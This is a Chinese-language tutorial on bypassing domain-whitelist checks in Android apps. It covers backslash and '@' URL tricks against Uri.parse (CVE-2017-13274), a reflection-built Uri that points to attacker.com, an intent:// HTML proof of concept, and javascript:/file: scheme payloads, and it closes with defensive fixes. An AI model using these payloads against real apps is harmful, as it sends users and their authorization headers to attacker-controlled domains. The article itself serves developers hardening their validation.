绕过Android域名白名单校验的方法
字数 1081 2025-08-18 11:38:49

Android域名白名单校验绕过方法深度解析

引言

Android应用中许多组件具有响应外部链接的能力,如果攻击者能随意指定这些组件响应的URL,可能导致钓鱼攻击或远程代码执行。开发者通常使用域名白名单校验来防御此类攻击,但由于对底层实现理解不足,可能导致看似安全的校验被绕过。本文将详细解析几种常见的绕过方法及其原理。

一、利用反斜杠""绕过校验

1.1 典型漏洞代码

Uri uri = Uri.parse(attackerControlledString);
if("legitimate.com".equals(uri.getHost()) || 
   uri.getHost().endsWith(".legitimate.com")) {
    webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
}

1.2 绕过方法

攻击者可以构造以下URL绕过校验:

String url = "http://attacker.com\\.legitimate.com/smth";
// getHost()返回"attacker.com\.legitimate.com",通过endsWith校验
// 但实际加载时会纠正反斜杠,访问attacker.com

String url = "http://attacker.com\\@legitimate.com/smth";
// getHost()返回"legitimate.com",通过equals校验
// 实际加载时访问attacker.com

1.3 原理分析

android.net.Uriparse()方法存在安全缺陷:

  1. StringUri类未对authority部分的反斜杠做特殊处理
  2. AbstractHierarchicalUriparseHost()方法会将@符号前内容作为UserInfo截断

1.4 影响范围

  • 漏洞编号:CVE-2017-13274
  • 影响系统:Android 8.1.0_r33之前版本(主要是Android 6及以下)
  • 修复时间:Google在2018年4月安全公告中发布补丁

二、反射调用HierarchicalUri构造Uri

2.1 改进后的校验代码

Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) && 
                      uri.getUserInfo() == null && 
                      "legitimate.com".equals(uri.getHost());
if(isOurDomain) {
    webView.load(uri.toString(), getAuthorizationHeaders());
}

2.2 绕过方法

通过反射构造特殊Uri对象:

// 获取相关类和构造方法
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);

Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);

Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);

// 构造恶意Uri
Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
Uri uri = (Uri)hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

// 输出结果
// Scheme: https
// UserInfo: null 
// Host: legitimate.com
// toString(): https://legitimate.com@attacker.com

2.3 原理分析

  1. 通过反射直接调用HierarchicalUri私有构造函数
  2. 构造的Uri对象能通过所有校验,但toString()返回的URL实际指向攻击者域名

2.4 限制与绕过

  • Android P+限制non-sdk的@hide API访问
  • 截至Android Q Beta 4仍有绕过方法

2.5 修复建议

对传入的Uri对象再加一次parse()处理:

Uri uri = Uri.parse(getIntent().getData().toString());
// 再进行校验

三、远程利用方法

3.1 典型intent-filter配置

<activity android:name=".DeeplinkActivity">
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="https" android:host="legitimate.com"/>
    </intent-filter>
</activity>

3.2 远程攻击PoC

<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">
    Click Attack v3
</a>

等价于执行:

Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")

四、缺少scheme验证的绕过

当开发者只校验host而忽略scheme时,可构造以下攻击:

javascript://legitimate.com/%0aalert(1)//
file://legitimate.com/sdcard/payload.html

五、防御建议

  1. 全面校验:同时校验scheme、host和userInfo
  2. 双重解析:对传入的Uri先toString()再parse()
  3. 严格模式:使用Uri.Builder构建URL而非直接拼接
  4. 更新系统:确保应用运行在已修复相关漏洞的Android版本上
  5. 白名单校验:使用严格的全匹配而非endsWith等模糊匹配

六、参考链接

  1. HackerOne报告
  2. Android安全公告:CVE-2017-13274、CVE-2017-13176

通过深入理解这些绕过方法的原理,开发者可以构建更安全的域名白名单校验机制,有效防御此类攻击。

Android域名白名单校验绕过方法深度解析 引言 Android应用中许多组件具有响应外部链接的能力,如果攻击者能随意指定这些组件响应的URL,可能导致钓鱼攻击或远程代码执行。开发者通常使用域名白名单校验来防御此类攻击,但由于对底层实现理解不足,可能导致看似安全的校验被绕过。本文将详细解析几种常见的绕过方法及其原理。 一、利用反斜杠"\"绕过校验 1.1 典型漏洞代码 1.2 绕过方法 攻击者可以构造以下URL绕过校验: 1.3 原理分析 android.net.Uri 的 parse() 方法存在安全缺陷: StringUri 类未对authority部分的反斜杠做特殊处理 AbstractHierarchicalUri 的 parseHost() 方法会将 @ 符号前内容作为UserInfo截断 1.4 影响范围 漏洞编号:CVE-2017-13274 影响系统:Android 8.1.0_ r33之前版本(主要是Android 6及以下) 修复时间:Google在2018年4月安全公告中发布补丁 二、反射调用HierarchicalUri构造Uri 2.1 改进后的校验代码 2.2 绕过方法 通过反射构造特殊Uri对象: 2.3 原理分析 通过反射直接调用 HierarchicalUri 私有构造函数 构造的Uri对象能通过所有校验,但 toString() 返回的URL实际指向攻击者域名 2.4 限制与绕过 Android P+限制non-sdk的@hide API访问 截至Android Q Beta 4仍有绕过方法 2.5 修复建议 对传入的Uri对象再加一次parse()处理: 三、远程利用方法 3.1 典型intent-filter配置 3.2 远程攻击PoC 等价于执行: 四、缺少scheme验证的绕过 当开发者只校验host而忽略scheme时,可构造以下攻击: 五、防御建议 全面校验 :同时校验scheme、host和userInfo 双重解析 :对传入的Uri先toString()再parse() 严格模式 :使用 Uri.Builder 构建URL而非直接拼接 更新系统 :确保应用运行在已修复相关漏洞的Android版本上 白名单校验 :使用严格的全匹配而非endsWith等模糊匹配 六、参考链接 HackerOne报告 Android安全公告:CVE-2017-13274、CVE-2017-13176 通过深入理解这些绕过方法的原理,开发者可以构建更安全的域名白名单校验机制,有效防御此类攻击。